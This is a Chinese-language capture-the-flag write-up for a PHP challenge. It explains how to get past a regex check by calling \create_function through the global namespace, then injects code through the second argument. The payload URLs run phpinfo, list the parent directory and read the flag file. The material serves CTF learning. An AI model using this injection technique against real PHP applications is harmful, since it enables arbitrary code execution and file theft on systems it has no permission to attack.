Code-Breaking Puzzles easy - function(匿名函數利用)

題目地址:http://120.78.164.84:49001/

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

我們來審計下這個代碼:

1,看到 $action('',$arg) 這裏有兩個參數,可以想到create_function()匿名函數代碼注入。

2,這裏還有一個正則需要繞過,不過這個正則很容易知道只要我們在開頭或者結尾加入其他字符就可以繞過了。至於是什麼字符,用bp來fuzz一波就可以知道是%5c。

http://120.78.164.84:49001/?action=%5ccreate_function&arg=2;}phpinfo();/*

3,實際上不用%5c,加一個 \ 也能執行,這裏涉及到了php的全局命名空間,\create_function就是調用全局的create_function函數。

https://blog.csdn.net/dyw_666666/article/details/90042852

看一下手冊中的例子就大概知道是什麼意思了。

http://120.78.164.84:49001/?action=\create_function&arg=2;}phpinfo();/*

最終Payload:

http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(scandir(%27../%27));/*
http://120.78.164.84:49001/?action=\create_function&arg=2;}print_r(file_get_contents(%27../flag_h0w2execute_arb1trary_c0de%27));/*

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章